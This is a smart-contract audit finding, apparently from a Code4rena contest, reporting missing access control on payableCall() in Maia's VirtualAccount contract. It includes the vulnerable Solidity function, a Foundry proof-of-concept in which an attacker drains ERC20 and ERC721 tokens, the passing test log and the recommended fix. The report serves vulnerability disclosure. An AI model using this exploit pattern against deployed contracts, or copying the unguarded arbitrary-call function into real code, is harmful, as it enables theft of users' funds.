Fund in VirtualAccount could be stolen due to absence of access control for payableCall()

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

The payableCall() function is designed to execute any calls on behalf of owner of VirtualAccount contract. The absence of access control would cause fund in VirtualAccount to be stolen by anyone.

File: src\VirtualAccount.sol
085:     function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
// @audit missing "requiresApprovedCaller" modifier
086:         uint256 valAccumulator;
087:         uint256 length = calls.length;
088:         returnData = new bytes[](length);
089:         PayableCall calldata _call;
090:         for (uint256 i = 0; i < length;) {
091:             _call = calls[i];
092:             uint256 val = _call.value;
093:             // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
094:             // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
095:             unchecked {
096:                 valAccumulator += val;
097:             }
098: 
099:             bool success;
100: 
101:             if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData);
102: 
103:             if (!success) revert CallFailed();
104: 
105:             unchecked {
106:                 ++i;
107:             }
108:         }
109: 
110:         // Finally, make sure the msg.value = SUM(call[0...i].value)
111:         if (msg.value != valAccumulator) revert CallFailed();
112:     }

Proof of Concept

The test cases below show both ERC20 and ERC721 tokens could be withdrawn from VirtualAccount by an irrelevant account:

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

import "./helpers/ImportHelper.sol";
import "../../src/VirtualAccount.sol";
import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol";
import {MockERC721} from "solmate/test/utils/mocks/MockERC721.sol";


contract VirtualAccountBug is DSTestPlus {
    uint16 rootChainId = uint16(42161);
    address owner = address(0xaaaa);
    address user = address(0xbbbb);
    address attacker = address(0xcccc);
    RootPort rootPort;
    ArbitrumBranchPort localPortAddress;
    VirtualAccount virtualAccount;
    MockERC20 erc20Token;
    MockERC721 erc721Token;

    function setUp() public {
        rootPort = new RootPort(rootChainId);
        localPortAddress = new ArbitrumBranchPort(rootChainId, address(rootPort), owner);
        virtualAccount = new VirtualAccount(user, address(localPortAddress));
        erc20Token = new MockERC20("USDC", "USDC", 18);
        erc721Token = new MockERC721("Non-fungible token", "NFT");
    }

    function testVirtualAccountBug_StealERC20Token() public {
        erc20Token.mint(address(virtualAccount), 1000e6);
        assertEq(1000e6, erc20Token.balanceOf(address(virtualAccount)));
        assertEq(0, erc20Token.balanceOf(attacker));

        PayableCall[] memory calls = new PayableCall[](1);
        calls[0].target = address(erc20Token);
        calls[0].callData = abi.encodeWithSignature("transfer(address,uint256)", attacker, 1000e6);
        calls[0].value = 0;
        hevm.startPrank(attacker);
        virtualAccount.payableCall(calls);
        hevm.stopPrank();

        assertEq(0, erc20Token.balanceOf(address(virtualAccount)));
        assertEq(1000e6, erc20Token.balanceOf(attacker));
    }

    function testVirtualAccountBug_StealERC721Token() public {
        uint256 tokenID = 1;
        erc721Token.mint(address(virtualAccount), tokenID);
        assertEq(address(virtualAccount), erc721Token.ownerOf(tokenID));

        PayableCall[] memory calls = new PayableCall[](1);
        calls[0].target = address(erc721Token);
        calls[0].callData = abi.encodeWithSignature(
            "transferFrom(address,address,uint256)",
            address(virtualAccount),
            attacker,
            tokenID
        );
        calls[0].value = 0;
        hevm.startPrank(attacker);
        virtualAccount.payableCall(calls);
        hevm.stopPrank();

        assertEq(attacker, erc721Token.ownerOf(tokenID));
    }

}

Test log:

2023-09-maia> forge test --match-test testVirtualAccountBug
[⠆] Compiling...
No files changed, compilation skipped

Running 2 tests for test/ulysses-omnichain/VirtualAccountBug.t.sol:VirtualAccountBug
[PASS] testVirtualAccountBug_StealERC20Token() (gas: 77098)
[PASS] testVirtualAccountBug_StealERC721Token() (gas: 77953)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.17ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)

Tools Used

Manually review

Recommended Mitigation Steps

Applying requiresApprovedCaller modifier.

Assessed type

Access Control

[c4-pre-sort]

0xA5DF marked the issue as duplicate of #888

[c4-pre-sort]

0xA5DF marked the issue as sufficient quality report

[c4-judge]

alcueca marked the issue as satisfactory